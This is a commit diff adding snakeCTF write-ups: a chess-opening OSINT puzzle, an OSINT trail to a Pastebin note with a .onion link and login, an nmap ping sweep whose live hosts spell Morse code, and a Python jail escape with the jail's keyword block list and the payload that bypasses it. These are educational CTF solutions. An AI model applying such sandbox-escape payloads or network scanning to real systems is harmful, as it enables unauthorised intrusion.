-
Notifications
You must be signed in to change notification settings - Fork 12
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Added 2 Osint 1 Network and 1 Misc writeups
- Loading branch information
Showing
2 changed files
with
158 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -544,13 +544,39 @@ Let's change the location with the following and ask for a new preview: | |
> <span>1. e4 e5 2. b3 *</span><br><br> | ||
> Flag format: snakeCTF{TheNameOfTheAttack} | ||
We took like one second to understand that the symbols were a notation for a chess opening move. We took a ridicoulus amount of time to find the correct attack and flag format. Looking on Google we found different names for this opening like the `Charles opening`. There was nothing very fun about the solution, we just realized that Christmas was actually useful for the search and we found the Santa Claus Opening. What did we learn with this challenge? If playing chess someone made me a Santa Claus opening I would know how to annihilate him. | ||
|
||
 | ||
|
||
🏁 _snakeCTF{SantaClausAttack}_{:.spoiler} | ||
|
||
## first hunt | ||
|
||
> Hey! We intercepted this strange message, I think we finally found them. Let me know if you find something | ||
🏁 _snakeCTF{}_{:.spoiler} | ||
In this challenge we are given an email (info.eml) that contain the message: | ||
```plaintext | ||
service information: | ||
°°°°°°°°°°°°°°°°°°°°°°the usual link has changed | ||
paste it somewhere and delete this mail after. | ||
``` | ||
There are no strange headers to analyze so we excluded the path of email forensics analysis. At this point we focused on the sender and receiver emails: `[email protected]` and `[email protected]`. Using Osint tools for emails we didn't find anything interesting. Then we thought that the message of the mail could be somehow important. Maybe `[email protected]` had pasted something on the internet! We looked on Pastebin, the most popular place on internet to paste text, and we quickly found the [profile of wazzujf2](https://pastebin.com/u/wazzujf2) and its only note: | ||
|
||
```plaintext | ||
For my favourite shop!!!!!!! -> https://e2ueln4vgn6qj2q4vwkcntkeg3ftinizb3ewjkahd2aoior33dbts3qd.onion | ||
user: [email protected] | ||
pass: hYpYxWRvHvKBzDes (i hope this is secure enough) | ||
todo: burn this! | ||
``` | ||
|
||
After visiting the url and logging in the with the credentials in the note, the flag appears in plaintext. | ||
|
||
|
||
🏁 _snakeCTF{h1dd3n\_s3rv1ce5\_4re_fuN\_t0\_bu1ld}_{:.spoiler} | ||
|
||
# Network | ||
|
||
|
@@ -567,7 +593,50 @@ Let's change the location with the following and ask for a new preview: | |
> The network was dead quiet. Yet, in the eerie silence, I could almost feel the netadmin's presence, their thoughts and intentions woven into the very fabric of the IPAM.<br><br> | ||
> Note: nmap is allowed INSIDE the instance. | ||
🏁 _snakeCTF_{:.spoiler} | ||
We are not given many information in this challenge just a mention to IPAM so something related to IP addresses. We noticed that the initial letters of the words in the title composed the word ping. So we firstly tried to ping some stuff in the network. We also noticed, while looking at the available bin commands, that we had nmap available (the note about it in the description had not been released yet). Looking at the result of `ip a` we can notice a "chall" network: | ||
|
||
```shell | ||
-bash-5.2$ ip a | ||
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 | ||
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 | ||
inet 127.0.0.1/8 scope host lo | ||
valid_lft forever preferred_lft forever | ||
2: chall: <BROADCAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc noqueue state UNKNOWN group default qlen 1000 | ||
link/ether ce:22:7c:6f:80:a7 brd ff:ff:ff:ff:ff:ff | ||
inet 10.10.0.1/23 scope global chall | ||
valid_lft forever preferred_lft forever | ||
1350: eth0@if1351: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default | ||
link/ether 02:42:ac:11:1f:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0 | ||
inet 172.17.31.3/24 brd 172.17.31.255 scope global eth0 | ||
valid_lft forever preferred_lft forever | ||
``` | ||
|
||
so we decided to scan the network with `nmap -n -sn -T5 10.10.0.1/23`. We found some host up (133 out of 512) and we noticed that they were following some kind of pattern. We tried to transform the host up and down into `1` and `0` and checked if there was some kind of binary encoded message. We were really close to the solution but at this point we hopped to the part 2 of the same challenge because we thought that its hint was more clear. | ||
|
||
When we flagged the second chall we came back on this one, with the understanding that representing addresses with some encoding was the right way to go. We tried to use different graphical representations and after many tries morse code turned out to be the right one. | ||
|
||
```python:solve.py | ||
points = ['0.1', '0.2', '0.119', '0.121', '0.123', '0.128', '0.129', '0.130', '0.132', '0.137', '0.139', '0.140', '0.141', '0.146', '0.147', '0.148', '0.150', '0.152', '0.153', '0.154', '0.159', '0.164', '0.165', '0.166', '0.168', '0.170', '0.171', '0.172', '0.174', '0.179', '0.180', '0.181', '0.186', '0.188', '0.190', '0.191', '0.192', '0.194', '0.199', '0.200', '0.201', '0.203', '0.205', '0.207', '0.212', '0.217', '0.222', '0.224', '0.225', '0.226', '0.228', '0.229', '0.230', '0.232', '0.237', '0.238', '0.239', '0.241', '0.243', '0.245', '0.250', '0.251', '0.252', '0.254', '0.255', '1.0', '1.2', '1.3', '1.4', '1.9', '1.10', '1.11', '1.13', '1.14', '1.15', '1.17', '1.18', '1.19', '1.24', '1.26', '1.27', '1.28', '1.30', '1.31', '1.32', '1.34', '1.39', '1.40', '1.41', '1.43', '1.44', '1.45', '1.50', '1.51', '1.52', '1.54', '1.55', '1.56', '1.58', '1.59', '1.60', '1.65', '1.67', '1.68', '1.69', '1.71', '1.76', '1.78', '1.80', '1.85', '1.90', '1.91', '1.92', '1.94', '1.96', '1.97', '1.98', '1.100', '1.105', '1.106', '1.107', '1.109', '1.110', '1.111', '1.113', '1.114', '1.115', '1.120', '1.121', '1.122', '1.124', '1.126', '1.131'] | ||
|
||
print(len(points)) | ||
|
||
indexes = [] | ||
for point in points: | ||
group,idx = point.split('.') | ||
new_index = int(group)*256 + int(idx) | ||
indexes.append(new_index) | ||
|
||
values = [] | ||
for counter in range(0,2**9): | ||
values.append(counter in indexes) | ||
|
||
for v in values: | ||
print('-', end='') if v else print(" ",end='') | ||
|
||
#... -. .- -.- . -.-. - ..-. -... . . .--. -... --- --- .--. -- --- .-. ... . -.-. --- -.. . | ||
``` | ||
|
||
🏁 _SNAKECTFBEEPBOOPMORSECODE_{:.spoiler} | ||
|
||
## peculiar internet noteworthy gizmo 2 | ||
|
||
|
@@ -705,8 +774,95 @@ And the resulting image: | |
> I want to read an env variable, but I'm getting stressed out because of that blacklist!!! Would you help me plz? :(<br><br> | ||
> nc misc.snakectf.org 1700 | ||
Everyone loves pyjails. | ||
|
||
```python | ||
#!/usr/bin/env python3 | ||
import os | ||
|
||
banner = r""" | ||
_____ _ __ _ _ | ||
/ ___| | / _| | | | | | ||
\ `--.| |_ _ __ ___ ___ ___| |_ _ _| | _ __ ___ __ _ __| | ___ _ __ | ||
`--. \ __| '__/ _ \/ __/ __| _| | | | | | '__/ _ \/ _` |/ _` |/ _ \ '__| | ||
/\__/ / |_| | | __/\__ \__ \ | | |_| | | | | | __/ (_| | (_| | __/ | | ||
\____/ \__|_| \___||___/___/_| \__,_|_| |_| \___|\__,_|\__,_|\___|_| | ||
""" | ||
|
||
|
||
class Jail(): | ||
def __init__(self) -> None: | ||
print(banner) | ||
print() | ||
print() | ||
print("Will you be able to read the $FLAG?") | ||
print("> ",end="") | ||
|
||
|
||
self.F = "" | ||
self.L = "" | ||
self.A = "" | ||
self.G = "" | ||
self.run_code(input()) | ||
pass | ||
|
||
def run_code(self, code): | ||
|
||
badchars = [ 'c', 'h', 'j', 'k', 'n', 'o', 'p', 'q', 'u', 'w', 'x', 'y', 'z' | ||
, 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N' | ||
, 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W' | ||
, 'X', 'Y', 'Z', '!', '"', '#', '$', '%' | ||
, '&', '\'', '-', '/', ';', '<', '=', '>', '?', '@' | ||
, '[', '\\', ']', '^', '`', '{', '|', '}', '~' | ||
, '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] | ||
|
||
|
||
badwords = ["aiter", "any", "ascii", "bin", "bool", "breakpoint" | ||
, "callable", "chr", "classmethod", "compile", "dict" | ||
, "enumerate", "eval", "exec", "filter", "getattr" | ||
, "globals", "input", "iter", "next", "locals", "memoryview" | ||
, "next", "object", "open", "print", "setattr" | ||
, "staticmethod", "vars", "__import__", "bytes", "keys", "str" | ||
, "join", "__dict__", "__dir__", "__getstate__", "upper"] | ||
|
||
|
||
if (code.isascii() and | ||
all([x not in code for x in badchars]) and | ||
all([x not in code for x in badwords])): | ||
|
||
exec(code) | ||
else: | ||
print("Exploiting detected, plz halp :/") | ||
|
||
def get_var(self, varname): | ||
print(os.getenv(varname)) | ||
|
||
if (__name__ == "__main__"): | ||
Jail() | ||
``` | ||
|
||
In this one the goal is to call the get_var function to get the value of the env var FLAG. We cannot use a bunch of letters, symbols and builtins functions. So the first thing we did was to enumerate all the available things that we had: | ||
|
||
```plaitext | ||
Letters and symbols: a b d e f g i l m r s t v ( ) * + , . : _ | ||
Builtins: ['abs', 'all', 'delattr', 'dir', 'id', 'list', 'reversed', 'set'] | ||
``` | ||
It was also immediately clear that the F,L,A,G variables were there for a reason and had to be used. Putting things together made us realize that the dir function can be useful to get a list of symbols. `dir(self)` returned this list: | ||
```python | ||
['A', 'F', 'G', 'L', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'get_var', 'run_code'] | ||
``` | ||
So we had a list with the letters we needed to compose the word "FLAG", we just needed to find a way to get elements of it without using `[]`. The `__getitem__` function came in handy for that purpose. The last thing we needed was a way to create integer indexes (from 0 to 3) to get the letters from the list. We tried for a second to look for a fancy solution and then we immediately gave up and found the ugliest solution possible: | ||
|
||
```python | ||
all(dir(list)).real # = 1 | ||
all(dir(list)).real.__gt__( all(dir(list)).real).real # = 0 | ||
``` | ||
Putting everything together turned into this beautiful payload: | ||
|
||
```python | ||
self.get_var((dir(self).__getitem__(all(dir(list)).real)) + (dir(self).__getitem__(( all(dir(list)).real + all(dir(list)).real + all(dir(list)).real ))) + (dir(self).__getitem__(all(dir(list)).real.__gt__( all(dir(list)).real).real)) + (dir(self).__getitem__(( all(dir(list)).real + all(dir(list)).real )))) | ||
``` | ||
Was is the best solution? Probably not. Did we care about it? Not at all. | ||
|
||
🏁 _snakeCTF{7h3\_574r\_d1d\_7h3\_j0b}_{:.spoiler} |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.